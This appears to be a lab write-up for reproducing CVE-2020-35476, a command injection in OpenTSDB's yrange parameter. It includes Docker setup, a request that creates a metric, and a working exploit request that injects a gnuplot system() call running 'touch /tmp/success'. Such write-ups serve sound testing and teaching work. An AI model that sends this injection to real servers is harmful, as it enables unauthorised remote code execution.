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OpenTSDB arbitrary commands injection (CVE-2020-35476)

中文版本(Chinese version)

OpenTSDB is a distributed, scalable Time Series Database (TSDB) written on top of HBase.

A remote code execution vulnerability occurs in OpenTSDB through 2.4.0 via command injection in the yrange parameter. The yrange value is written to a gnuplot file in the /tmp directory. This file is then executed via the mygnuplot.sh shell script. (tsd/GraphHandler.java attempted to prevent command injections by blocking backticks but this is insufficient.)

References:

Vulnerable Environment

Execute the following command to start a OpenTSDB server 2.4.0:

docker-compose up -d

Once the service is started, visit http://your-ip:4242 to see the web interface of the OpenTSDB.

Exploit

You need to know the name of a metric before you can exploit this vulnerability on http://your-ip:4242/api/suggest?type=metrics&q=&max=10:

However, the metrics list is empty.

Fortunately, the tsd.core.auto_create_metrics is set to true in this vulnerable OpenTSDB, so you can create a metric named sys.cpu.nice through following request:

POST /api/put/ HTTP/1.1
Host: your-ip:4242
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Connection: close
Content-Length: 150

{
    "metric": "sys.cpu.nice",
    "timestamp": 1346846400,
    "value": 20,
    "tags": {
       "host": "web01",
       "dc": "lga"
    }
}

If at least one metric exists and is not empty, the above request is not required.

Send following request, where the value of the parameter m must contain a valid metric name:

GET /q?start=2000/10/21-00:00:00&m=sum:sys.cpu.nice&o=&ylabel=&xrange=10:10&yrange=[0:system(%27touch%20/tmp/success%27)]&wxh=1516x644&style=linespoint&baba=lala&grid=t&json HTTP/1.1
Host: your-ip:4242
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Connection: close

touch /tmp/success has been successfully executed.